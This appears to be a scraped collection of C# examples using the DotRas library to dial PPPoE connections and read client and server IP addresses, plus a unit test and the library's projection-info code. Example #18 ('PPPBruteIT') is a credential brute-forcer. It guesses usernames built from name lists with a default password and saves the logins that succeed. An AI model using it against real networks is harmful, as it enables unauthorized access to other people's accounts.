Exemple #1
0
 public void Diale(string username, string key, string connectName)
 {
     try
     {
         RasDialer dialer = new RasDialer();
         dialer.EntryName   = connectName;
         dialer.PhoneNumber = " ";
         dialer.AllowUseStoredCredentials = true;
         dialer.PhoneBookPath             = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.User);
         dialer.Credentials = new System.Net.NetworkCredential(username, key);
         dialer.Timeout     = 500;
         RasHandle myras = dialer.Dial();
         while (myras.IsInvalid)
         {
             //lb_status.Content = "拨号失败";
             OnDialeFailure?.Invoke();
         }
         if (!myras.IsInvalid)
         {
             //lb_status.Content = "拨号成功! ";
             RasConnection conn   = RasConnection.GetActiveConnectionByHandle(myras);
             RasIPInfo     ipaddr = (RasIPInfo)conn.GetProjectionInfo(RasProjectionType.IP);
             //lb_message.Content = "获得IP: " + ipaddr.IPAddress.ToString();
             OnDialeSuccess?.Invoke("获得IP: " + ipaddr.IPAddress.ToString());
             //dial.IsEnabled = false;
             //hangup.IsEnabled = true;
         }
     }
     catch (Exception e)
     {
         //lb_status.Content = "拨号出现异常";
         OnDialeExcep?.Invoke();
     }
 }
Exemple #2
0
 void Btn_DialupClick(object sender, EventArgs e)
 {
     try {
         string    username = Username.Text.Replace("\\r", "\r").Replace("\\n", "\n");
         string    password = Password.Text.ToString();
         RasDialer dialer   = new RasDialer();
         dialer.EntryName   = "PPPoEDial";
         dialer.PhoneNumber = " ";
         dialer.AllowUseStoredCredentials = true;
         dialer.PhoneBookPath             = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.User);
         dialer.Credentials = new NetworkCredential(username, password);
         dialer.Timeout     = 1000;
         RasHandle myras = dialer.Dial();
         while (myras.IsInvalid)
         {
             lb_Status.Text = "拨号失败";
         }
         if (!myras.IsInvalid)
         {
             lb_Status.Text = "拨号成功! ";
             RasConnection conn   = RasConnection.GetActiveConnectionByHandle(myras);
             RasIPInfo     ipaddr = (RasIPInfo)conn.GetProjectionInfo(RasProjectionType.IP);
             lb_IPAddr.Text     = "获得IP: " + ipaddr.IPAddress.ToString();
             btn_Dialup.Enabled = false;
             btn_Hungup.Enabled = true;
         }
     } catch (Exception) {
         lb_Status.Text = "拨号出现异常";
     }
 }
Exemple #3
0
        public static string GetIPAddress(string connectionName)
        {
            string        IP;
            StringBuilder sb = new StringBuilder();

            foreach (RasConnection connection in RasConnection.GetActiveConnections())
            {
                if (connection.EntryName == connectionName)
                {
                    RasIPInfo ipAddresses = (RasIPInfo)connection.GetProjectionInfo(RasProjectionType.IP);
                    if (ipAddresses != null)
                    {
                        sb.AppendFormat("客户端IP:{0}\r\n", ipAddresses.IPAddress.ToString());
                        sb.AppendFormat("服务端IP:{0}\r\n", ipAddresses.ServerIPAddress.ToString());
                    }
                }
                sb.AppendLine();
            }
            if (sb.Length == 0)
            {
                IP = "无法获取IP地址!";
            }
            else
            {
                IP = sb.ToString();
            }
            return(IP);
        }
 private void dial_Click(object sender, RoutedEventArgs e)
 {
     try
     {
         string    username = tb_username.Text.Replace("\\r", "\r").Replace("\\n", "\n");
         string    password = pb_password.Password.ToString();
         RasDialer dialer   = new RasDialer();
         dialer.EntryName   = "PPPoEDialer";
         dialer.PhoneNumber = " ";
         dialer.AllowUseStoredCredentials = true;
         dialer.PhoneBookPath             = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.User);
         dialer.Credentials = new System.Net.NetworkCredential(username, password);
         dialer.Timeout     = 500;
         RasHandle myras = dialer.Dial();
         while (myras.IsInvalid)
         {
             lb_status.Content = "拨号失败";
         }
         if (!myras.IsInvalid)
         {
             lb_status.Content = "拨号成功! ";
             RasConnection conn   = RasConnection.GetActiveConnectionByHandle(myras);
             RasIPInfo     ipaddr = (RasIPInfo)conn.GetProjectionInfo(RasProjectionType.IP);
             lb_message.Content = "获得IP: " + ipaddr.IPAddress.ToString();
             dial.IsEnabled     = false;
             hangup.IsEnabled   = true;
         }
     }
     catch (Exception)
     {
         lb_status.Content = "拨号出现异常";
     }
 }
Exemple #5
0
        private void login()
        {
            try
            {
                string username = tb_username.Text.Replace("\\r", "\r").Replace("\\n", "\n");
                username = "******" + username;
                string    password = pb_password.Password.ToString();
                RasDialer dialer   = new RasDialer();
                dialer.EntryName   = "gdut drcom";
                dialer.PhoneNumber = " ";
                dialer.AllowUseStoredCredentials = true;
                dialer.PhoneBookPath             = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.User);
                dialer.Credentials = new System.Net.NetworkCredential(username, password);
                dialer.Timeout     = 500;
                RasHandle myras = null;
                if (username.Length != 0 && password.Length != 0)
                {
                    myras = dialer.Dial();
                }
                while (myras.IsInvalid)
                {
                    lb_status.Content = "拨号失败";
                }
                if (!myras.IsInvalid)
                {
                    lb_status.Content = "拨号成功! ";
                    RasConnection conn   = RasConnection.GetActiveConnectionByHandle(myras);
                    RasIPInfo     ipaddr = (RasIPInfo)conn.GetProjectionInfo(RasProjectionType.IP);
                    lb_message.Content = "获得IP: " + ipaddr.IPAddress.ToString();

                    ProcessStartInfo startinfo = new ProcessStartInfo();
                    //startinfo.RedirectStandardOutput = true;
                    //startinfo.RedirectStandardError = true;
                    startinfo.FileName        = ".\\gdut-drcom.exe";
                    startinfo.Arguments       = "-c gdut-drcom.conf";
                    startinfo.UseShellExecute = false;
                    startinfo.CreateNoWindow  = true;

                    process.StartInfo = startinfo;
                    process.Start();

                    dial.IsEnabled = false;
                    remember_checkbox.IsEnabled = false;
                    autolog_checkbox.IsEnabled  = false;
                    hangup.IsEnabled            = true;
                }
            }
            catch (Exception)
            {
                lb_status.Content = "拨号出现异常";
            }
        }
Exemple #6
0
        /// <summary>
        /// 获取本地IP地址信息
        /// </summary>
        //public static string GetIpAddress()
        //{
        //    string hostName = Dns.GetHostName();   //获取本机名
        //    IPHostEntry localhost = Dns.GetHostByName(hostName);    //方法已过期,可以获取IPv4的地址
        //                                                            //IPHostEntry localhost = Dns.GetHostEntry(hostName);   //获取IPv6地址
        //    IPAddress localaddr = localhost.AddressList[0];

        //    return localaddr.ToString();
        //}
        public static string GetIpAddress()
        {
            foreach (RasConnection connection in RasConnection.GetActiveConnections())
            {
                RasIPInfo ipAddresses = (RasIPInfo)connection.GetProjectionInfo(RasProjectionType.IP);
                if (ipAddresses != null)
                {
                    return(ipAddresses.IPAddress.ToString());
                }
            }

            return("");
        }
Exemple #7
0
 private void GetAddressButton_Click(object sender, EventArgs e)
 {
     foreach (RasConnection connection in RasConnection.GetActiveConnections())
     {
         if (connection.EntryId == (Guid)((ComboBoxItem)this.ConnectionsComboBox.SelectedItem).Value)
         {
             RasIPInfo ipAddresses = (RasIPInfo)connection.GetProjectionInfo(RasProjectionType.IP);
             if (ipAddresses != null)
             {
                 this.ClientAddressTextBox.Text = ipAddresses.IPAddress.ToString();
                 this.ServerAddressTextBox.Text = ipAddresses.ServerIPAddress.ToString();
             }
         }
     }
 }
        public void GetProjectionInfoIPTest()
        {
            var expected = new RasIPInfo(0, IPAddress.Any, IPAddress.Any, new RasIPOptions(NativeMethods.RASIPO.None), new RasIPOptions(NativeMethods.RASIPO.None));

            var mock = new Mock <IRasHelper>();

            RasHelper.Instance = mock.Object;

            mock.Setup(o => o.GetProjectionInfo(It.IsAny <RasHandle>(), NativeMethods.RASPROJECTION.IP)).Returns(expected);

            var target = new RasConnection();
            var actual = (RasIPInfo)target.GetProjectionInfo(RasProjectionType.IP);

            Assert.AreSame(expected, actual);
        }
        // Token: 0x06000098 RID: 152 RVA: 0x00006230 File Offset: 0x00004430
        public string GetIPAddress()
        {
            string result = "";

            using (IEnumerator <RasConnection> enumerator = RasConnection.GetActiveConnections().GetEnumerator())
            {
                if (enumerator.MoveNext())
                {
                    RasConnection rasConnection = enumerator.Current;
                    RasIPInfo     rasIPInfo     = (RasIPInfo)rasConnection.GetProjectionInfo(RasProjectionType.IP);
                    result = rasIPInfo.ServerIPAddress.ToString();
                }
            }
            return(result);
        }
Exemple #10
0
        private void button_getIP_Click(object sender, EventArgs e)
        {
            StringBuilder sb = new StringBuilder();

            foreach (RasConnection connection in RasConnection.GetActiveConnections())
            {
                RasIPInfo ipAddresses = (RasIPInfo)connection.GetProjectionInfo(RasProjectionType.IP);
                if (ipAddresses != null)
                {
                    sb.AppendFormat("ClientIP:{0}\r\n", ipAddresses.IPAddress.ToString());
                    sb.AppendFormat("ServerIP:{0}\r\n", ipAddresses.ServerIPAddress.ToString());
                }
                sb.AppendLine();
            }
            MessageBox.Show(sb.ToString());
        }
Exemple #11
0
        /// <summary>
        /// 获取当前的ADSL ip
        /// </summary>
        /// <param name="ipAddress"></param>
        /// <param name="oldConn"></param>
        private string GetIPAddress()
        {
            string ipAddress = string.Empty;
            var    conns     = RasConnection.GetActiveConnections();

            foreach (var conn in conns)
            {
                if (conn.Device.DeviceType == RasDeviceType.PPPoE)
                {
                    RasIPInfo ipAddresses = (RasIPInfo)conn.GetProjectionInfo(RasProjectionType.IP);
                    ipAddress = ipAddresses.IPAddress.ToString();
                    return(ipAddress);
                }
            }

            return(string.Empty);
        }
Exemple #12
0
        /// <summary>
        /// 拨号
        /// </summary>
        /// <param name="username">用户名</param>
        /// <param name="password">密码</param>
        /// <param name="connectName">连接名</param>
        private static void Dial(string username, string password, string connectName)
        {
            try
            {
                RasDialer dialer = new RasDialer
                {
                    EntryName   = connectName,
                    PhoneNumber = " ",
                    AllowUseStoredCredentials = true,
                    PhoneBookPath             = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.User),
                    Credentials = new System.Net.NetworkCredential(username, password),
                    Timeout     = 1000
                };

                RasHandle hRas = dialer.Dial();

                //应该是等待一会,防止出问题
                while (hRas.IsInvalid)
                {
                    ;
                }

                if (!hRas.IsInvalid)
                {
                    foreach (RasConnection temp in RasConnection.GetActiveConnections())
                    {
                        if (temp.Handle == hRas)
                        {
                            RasIPInfo ipAddr = (RasIPInfo)temp.GetProjectionInfo(RasProjectionType.IP);
                            //
                            PPPoEDialSuccessEvent?.Invoke(null, new Msg(ipAddr.IPAddress.ToString()));
                        }
                    }
                }
            }
            catch (Exception e)
            {
                Utils.Log4Net.WriteLog(e.Message, e);
                PPPoEDialFailEvent?.Invoke(null, new Msg(e.Message));
            }
        }
Exemple #13
0
        /// <summary>
        /// 获取IP地址信息
        /// </summary>
        private void getAddressbyPPPoEName(string name)
        {
            if (dic_pppoeName == null || !dic_pppoeName.ContainsKey(name))
            {
                return;
            }
            StringBuilder sb = new StringBuilder();

            foreach (RasConnection connection in RasConnection.GetActiveConnections())
            {
                if (connection.EntryId == dic_pppoeName [name])
                {
                    RasIPInfo ipAddresses = (RasIPInfo)connection.GetProjectionInfo(RasProjectionType.IP);
                    if (ipAddresses != null)
                    {
                        sb.AppendFormat("ClientIP:{0}\r\n", ipAddresses.IPAddress.ToString());
                        sb.AppendFormat("ServerIP:{0}\r\n", ipAddresses.ServerIPAddress.ToString());
                    }
                }
                sb.AppendLine();
            }
            MessageBox.Show(sb.ToString());
        }
Exemple #14
0
        static public string ShowActiveConnections()
        {
            string        br  = "\n\r";
            StringBuilder str = new StringBuilder();

            str.Append(VpnSelectorLibRes.Active_Connection_list);
            str.Append(br);
            foreach (RasConnection connection in RasConnection.GetActiveConnections())
            {
                RasIPInfo ipAddresses = (RasIPInfo)connection.GetProjectionInfo(RasProjectionType.IP);

                str.Append(VpnSelectorLibRes.Connection__ + connection.EntryName + "  ID: " + connection.EntryId);
                str.Append(br);
                if (ipAddresses != null)
                {
                    str.Append(VpnSelectorLibRes.IP__ + ipAddresses.IPAddress.ToString());
                    str.Append(br);
                    str.Append(VpnSelectorLibRes.Server_IP_Address__ + ipAddresses.ServerIPAddress.ToString());
                    str.Append(br);
                }
            }
            return(str.ToString());
        }
Exemple #15
0
        /// <summary>
        /// 获取最新的IP
        /// </summary>
        /// <param name="EntryId"></param>
        /// <returns></returns>
        public string GetNewIP(string EntryId)
        {
            if (string.IsNullOrEmpty(EntryId))
            {
                return("");
            }

            string result = "";

            foreach (RasConnection connection in RasConnection.GetActiveConnections())
            {
                if (connection.EntryId.ToString() == EntryId)
                {
                    RasIPInfo ipAddresses = (RasIPInfo)connection.GetProjectionInfo(RasProjectionType.IP);
                    if (ipAddresses != null)
                    {
                        result = ipAddresses.IPAddress.ToString();
                        break;
                    }
                }
            }
            return(result);
        }
Exemple #16
0
        private void _rasDialer_DialCompleted(object sender, DialCompletedEventArgs e)
        {
            Console.WriteLine("Dial completed");

            if (e.Cancelled)
            {
                Console.WriteLine("\tConnection canceled");
            }
            else if (e.TimedOut)
            {
                Console.WriteLine("\tConnection timeout");
            }
            else if (e.Error != null)
            {
                this._taskCompletionSource.SetException(e.Error);

                //if (this._rasDialer.IsBusy)
                //{
                //    Console.WriteLine("\trasDialer is BUSY");
                //}
            }
            else
            {
                // Start monitoring the connection
                var rasConnection = this.IpSecActiveConnectionGet(this._vpnConnectionName);
                if (rasConnection != null)
                {
                    RasIPInfo rasInfo = (RasIPInfo)rasConnection.GetProjectionInfo(RasProjectionType.IP);

                    this._rasConnectionWatcher.Handle = rasConnection.Handle;
                    this._rasConnectionWatcher.EnableRaisingEvents = true;
                }

                Console.WriteLine("\tConnection established");
                this._taskCompletionSource.SetResult(null);
            }
        }
Exemple #17
0
        /// <summary>
        /// 显示活动的连接
        /// </summary>
        private string  LoadConnections()
        {
            foreach (RasConnection connection in RasConnection.GetActiveConnections())
            {
                if (dic_pppoeName.ContainsKey(connection.EntryName))
                {
                    dic_pppoeName[connection.EntryName] = connection.EntryId;
                }
                else
                {
                    dic_pppoeName.Add(connection.EntryName, connection.EntryId);
                }

                RasIPInfo ipAddresses = (RasIPInfo)connection.GetProjectionInfo(RasProjectionType.IP);
                if (ipAddresses != null)
                {
                    this.Text = ipAddresses.IPAddress.ToString();
                    return(ipAddresses.IPAddress.ToString());
                    //sb.AppendFormat("ClientIP:{0}\r\n", ipAddresses.IPAddress.ToString());
                    //sb.AppendFormat("ServerIP:{0}\r\n", ipAddresses.ServerIPAddress.ToString());
                }
            }
            return("");
        }
Exemple #18
0
        // ReSharper disable once InconsistentNaming
        private static void PPPBruteIT()
        {
            RasDialer dialer = new RasDialer
            {
                EntryName   = ConnectorName,
                PhoneNumber = " ",
                AllowUseStoredCredentials = true,
                PhoneBookPath             = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.User),
                Timeout = 1000
            };

            foreach (var surname in _surNames)
            {
                foreach (var firstname in _firstNames)
                {
                    string username = ("wb." + firstname + "." + surname).ToLower(); //common username
                    string password = "******";                                       //Default password
                    try
                    {
                        dialer.Credentials = new NetworkCredential(username, password);
                        RasHandle myras = dialer.Dial();

                        while (myras.IsInvalid)
                        {
                            Console.WriteLine(username + ":" + password + " - Dial failure!");
                        }
                        if (myras.IsInvalid)
                        {
                            return;
                        }
                        Console.WriteLine(username + ":" + password + " - Dial successful!");
                        RasConnection conn   = RasConnection.GetActiveConnectionByHandle(myras);
                        RasIPInfo     ipaddr = (RasIPInfo)conn.GetProjectionInfo(RasProjectionType.IP);
                        Console.WriteLine(username + ":" + password + " - Obtained IP " + ipaddr.IPAddress);
                        File.AppendAllText(FoundPath, username + ":" + password + Environment.NewLine);
                        try
                        {
                            ReadOnlyCollection <RasConnection> conList = RasConnection.GetActiveConnections();
                            foreach (RasConnection con in conList)
                            {
                                con.HangUp();
                            }
                        }
                        catch (Exception ex)
                        {
                            Console.WriteLine(username + ":" + password + " - Logout abnormal(Exception): " + ex);
                        }
                    }
                    catch (Exception ex)
                    {
                        if (ex.ToString().Contains("user name and password"))
                        {
                            Console.WriteLine(username + ":" + password + " - Wrong username/password.");
                        }
                        else
                        {
                            Console.WriteLine(username + ":" + password + " - Dial Abnormal." + ex);
                        }
                    }
                }
            }
        }
Exemple #19
0
        public object GetProjectionInfo(RasHandle handle, NativeMethods.RASPROJECTION projection)
        {
            if (Utilities.IsHandleInvalidOrClosed(handle))
            {
                ThrowHelper.ThrowArgumentException("handle", Resources.Argument_InvalidHandle);
            }

            int size = 0;

            object retval = null;
            object structure = null;

            switch (projection)
            {
                case NativeMethods.RASPROJECTION.Amb:
                    size = Marshal.SizeOf(typeof(NativeMethods.RASAMB));

                    NativeMethods.RASAMB amb = new NativeMethods.RASAMB();
                    amb.size = size;

                    structure = amb;
                    break;

                case NativeMethods.RASPROJECTION.Ccp:
                    size = Marshal.SizeOf(typeof(NativeMethods.RASPPPCCP));

                    NativeMethods.RASPPPCCP ccp = new NativeMethods.RASPPPCCP();
                    ccp.size = size;

                    structure = ccp;
                    break;

                case NativeMethods.RASPROJECTION.IP:
                    size = Marshal.SizeOf(typeof(NativeMethods.RASPPPIP));

                    NativeMethods.RASPPPIP ip = new NativeMethods.RASPPPIP();
                    ip.size = size;

                    structure = ip;
                    break;

                case NativeMethods.RASPROJECTION.Ipx:
                    size = Marshal.SizeOf(typeof(NativeMethods.RASPPPIPX));

                    NativeMethods.RASPPPIPX ipx = new NativeMethods.RASPPPIPX();
                    ipx.size = size;

                    structure = ipx;
                    break;

                case NativeMethods.RASPROJECTION.Lcp:
                    size = Marshal.SizeOf(typeof(NativeMethods.RASPPPLCP));

                    NativeMethods.RASPPPLCP lcp = new NativeMethods.RASPPPLCP();
                    lcp.size = size;

                    structure = lcp;
                    break;

                case NativeMethods.RASPROJECTION.Nbf:
                    size = Marshal.SizeOf(typeof(NativeMethods.RASPPPNBF));

                    NativeMethods.RASPPPNBF nbf = new NativeMethods.RASPPPNBF();
                    nbf.size = size;

                    structure = nbf;
                    break;

#if (WIN2K8 || WIN7 || WIN8)

                case NativeMethods.RASPROJECTION.IPv6:
                    size = Marshal.SizeOf(typeof(NativeMethods.RASPPPIPV6));

                    NativeMethods.RASPPPIPV6 ipv6 = new NativeMethods.RASPPPIPV6();
                    ipv6.size = size;

                    structure = ipv6;
                    break;

#endif
                case NativeMethods.RASPROJECTION.Slip:
                    size = Marshal.SizeOf(typeof(NativeMethods.RASSLIP));

                    NativeMethods.RASSLIP slip = new NativeMethods.RASSLIP();
                    slip.size = size;

                    structure = slip;
                    break;
            }

            IntPtr lpCb = new IntPtr(size);

            IntPtr lpProjection = IntPtr.Zero;
            try
            {
                lpProjection = Marshal.AllocHGlobal(lpCb);
                Marshal.StructureToPtr(structure, lpProjection, true);

                int ret = SafeNativeMethods.Instance.GetProjectionInfo(handle, projection, lpProjection, ref lpCb);
                if (ret == NativeMethods.SUCCESS)
                {
                    IPAddressConverter converter = new IPAddressConverter();

                    switch (projection)
                    {
                        case NativeMethods.RASPROJECTION.Amb:
                            NativeMethods.RASAMB amb = Utilities.PtrToStructure<NativeMethods.RASAMB>(lpProjection);

                            retval = new RasAmbInfo(
                                amb.errorCode,
                                amb.netBiosError,
                                amb.lana);

                            break;

                        case NativeMethods.RASPROJECTION.Ccp:
                            NativeMethods.RASPPPCCP ccp = Utilities.PtrToStructure<NativeMethods.RASPPPCCP>(lpProjection);

                            retval = new RasCcpInfo(
                                ccp.errorCode,
                                ccp.compressionAlgorithm,
                                new RasCompressionOptions(ccp.options),
                                ccp.serverCompressionAlgorithm,
                                new RasCompressionOptions(ccp.serverOptions));

                            break;

                        case NativeMethods.RASPROJECTION.IP:
                            NativeMethods.RASPPPIP ip = Utilities.PtrToStructure<NativeMethods.RASPPPIP>(lpProjection);

                            retval = new RasIPInfo(
                                ip.errorCode,
                                (IPAddress)converter.ConvertFrom(ip.ipAddress),
                                (IPAddress)converter.ConvertFrom(ip.serverIPAddress),
                                new RasIPOptions(ip.options),
                                new RasIPOptions(ip.serverOptions));

                            break;

                        case NativeMethods.RASPROJECTION.Ipx:
                            NativeMethods.RASPPPIPX ipx = Utilities.PtrToStructure<NativeMethods.RASPPPIPX>(lpProjection);

                            retval = new RasIpxInfo(
                                ipx.errorCode,
                                (IPAddress)converter.ConvertFrom(ipx.ipxAddress));

                            break;

                        case NativeMethods.RASPROJECTION.Lcp:
                            NativeMethods.RASPPPLCP lcp = Utilities.PtrToStructure<NativeMethods.RASPPPLCP>(lpProjection);

                            retval = new RasLcpInfo(
                                lcp.bundled,
                                lcp.errorCode,
                                lcp.authenticationProtocol,
                                lcp.authenticationData,
                                lcp.eapTypeId,
                                lcp.serverAuthenticationProtocol,
                                lcp.serverAuthenticationData,
                                lcp.serverEapTypeId,
                                lcp.multilink,
                                lcp.terminateReason,
                                lcp.serverTerminateReason,
                                lcp.replyMessage,
                                new RasLcpOptions(lcp.options),
                                new RasLcpOptions(lcp.serverOptions));

                            break;

                        case NativeMethods.RASPROJECTION.Nbf:
                            NativeMethods.RASPPPNBF nbf = Utilities.PtrToStructure<NativeMethods.RASPPPNBF>(lpProjection);

                            retval = new RasNbfInfo(
                                nbf.errorCode,
                                nbf.netBiosErrorCode,
                                nbf.netBiosErrorMessage,
                                nbf.workstationName,
                                nbf.lana);

                            break;

                        case NativeMethods.RASPROJECTION.Slip:
                            NativeMethods.RASSLIP slip = Utilities.PtrToStructure<NativeMethods.RASSLIP>(lpProjection);

                            retval = new RasSlipInfo(
                                slip.errorCode,
                                (IPAddress)converter.ConvertFrom(slip.ipAddress));

                            break;

#if (WIN2K8 || WIN7 || WIN8)
                        case NativeMethods.RASPROJECTION.IPv6:
                            NativeMethods.RASPPPIPV6 ipv6 = Utilities.PtrToStructure<NativeMethods.RASPPPIPV6>(lpProjection);

                            retval = new RasIPv6Info(
                                ipv6.errorCode,
                                Utilities.ConvertBytesToInt64(ipv6.localInterfaceIdentifier, 0),
                                Utilities.ConvertBytesToInt64(ipv6.peerInterfaceIdentifier, 0),
                                Utilities.ConvertBytesToInt16(ipv6.localCompressionProtocol, 0),
                                Utilities.ConvertBytesToInt16(ipv6.peerCompressionProtocol, 0));

                            break;
#endif
                    }
                }
                else if (ret != NativeMethods.ERROR_INVALID_PARAMETER && ret != NativeMethods.ERROR_PROTOCOL_NOT_CONFIGURED)
                {
                    ThrowHelper.ThrowRasException(ret);
                }
            }
            catch (EntryPointNotFoundException)
            {
                ThrowHelper.ThrowNotSupportedException(Resources.Exception_NotSupportedOnPlatform);
            }
            finally
            {
                if (lpProjection != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(lpProjection);
                }
            }

            return retval;
        }
Exemple #20
0
        private static void GetIPAddress(out string ipAddress, out RasConnection oldConn)
        {
            logger.Info("[{0}] 尝试获取当前宽带连接信息...", DateTime.Now.ToString(format));

            oldConn   = null;
            ipAddress = string.Empty;
            var conns = RasConnection.GetActiveConnections();

            if (conns == null)
            {
                logger.Info("[{0}] 当前没有获得有效宽带连接.");
                return;
            }

            if (conns.Count == 0)
            {
                logger.Info("[{0}] 当前获得{1}个有效宽带连接.", DateTime.Now.ToString(format), conns.Count);
                return;
            }

            logger.Info("[{0}] 当前获得{1}个有效宽带连接.", DateTime.Now.ToString(format), conns.Count);
            foreach (var conn in conns)
            {
                if (conn.Device.DeviceType.ToString().ToLower().Equals("pppoe"))
                {
                    oldConn = conn;
                    break;
                }
            }

            if (oldConn != null)
            {
                try
                {
                    RasIPInfo ipInfo = (RasIPInfo)oldConn.GetProjectionInfo(RasProjectionType.IP);
                    if (ipInfo != null && ipInfo.IPAddress != null)
                    {
                        ipAddress = ipInfo.IPAddress.ToString().Trim();
                        logger.Info("[{0}] 当前获得有效宽带连接 IP: {1}\tEntryName: {2}\n", DateTime.Now.ToString(format), ipAddress, oldConn.EntryName);
                    }
                    else
                    {
                        logger.Info("[{0}] *********当前没有获得有效宽带连接*********", DateTime.Now.ToString(format));
                    }
                    ipInfo = null;

                    #region MyRegion
                    ////var obj = oldConn.GetProjectionInfo(RasProjectionType.IP);
                    ////var obj1 = oldConn.GetProjectionInfo(RasProjectionType.Amb);
                    ////var obj2 = oldConn.GetProjectionInfo(RasProjectionType.Ccp);
                    ////var obj3 = oldConn.GetProjectionInfo(RasProjectionType.IPv6);
                    ////var obj4 = oldConn.GetProjectionInfo(RasProjectionType.Ipx);
                    ////var obj5 = oldConn.GetProjectionInfo(RasProjectionType.Lcp);
                    ////var obj6 = oldConn.GetProjectionInfo(RasProjectionType.Nbf);
                    ////var obj7 = oldConn.GetProjectionInfo(RasProjectionType.Slip);
                    #endregion
                }
                catch (Exception ex)
                {
                    logger.Info("[{0}] 获取宽带连接信息时出错:{1}\n{2}", DateTime.Now.ToString(format), ex.Message, ex.StackTrace);
                }
            }

            conns = null;
        }